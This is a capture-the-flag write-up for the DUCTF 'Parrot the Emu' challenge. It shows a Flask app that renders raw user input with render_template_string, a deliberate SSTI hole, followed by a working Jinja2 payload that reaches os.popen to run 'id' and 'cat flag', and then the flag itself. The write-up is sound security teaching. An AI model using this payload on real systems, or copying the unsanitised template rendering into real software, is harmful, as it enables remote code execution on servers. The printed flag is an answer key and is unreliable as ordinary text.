Statement: It is so nice to hear Parrot the Emu talk back.


Looking at the application’s source code, I notice that it uses the Flask framework and the Jinja2 template engine :

from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def vulnerable():
    chat_log = []

    if request.method == 'POST':
        user_input = request.form.get('user_input')
        try:
            result = render_template_string(user_input)
        except Exception as e:
            result = str(e)

        chat_log.append(('User', user_input))
        chat_log.append(('Emu', result))
    
    return render_template('index.html', chat_log=chat_log)

if __name__ == '__main__':
    app.run(debug=True, port=80)

I notice that the user input has no sanitising and it’s rendered from Jinja2, so the code is vulnerable to SSTI (Server-Side Template Injection) attack.

In order to validate my analysis, I will send the following payloads through application to confirm my idea :

{{}} 
# Expected an expression, got 'end of print statement'

{{7*7}}
# 49

I will then send this payload to perform an RCE (Remote Code Execution) :

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
# uid=0(root) gid=0(root) groups=0(root) 

Now all I have to do is read the contents of the flag file to validate the challenge :

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag').read() }}
# DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

Flag : DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

Some interesting sources :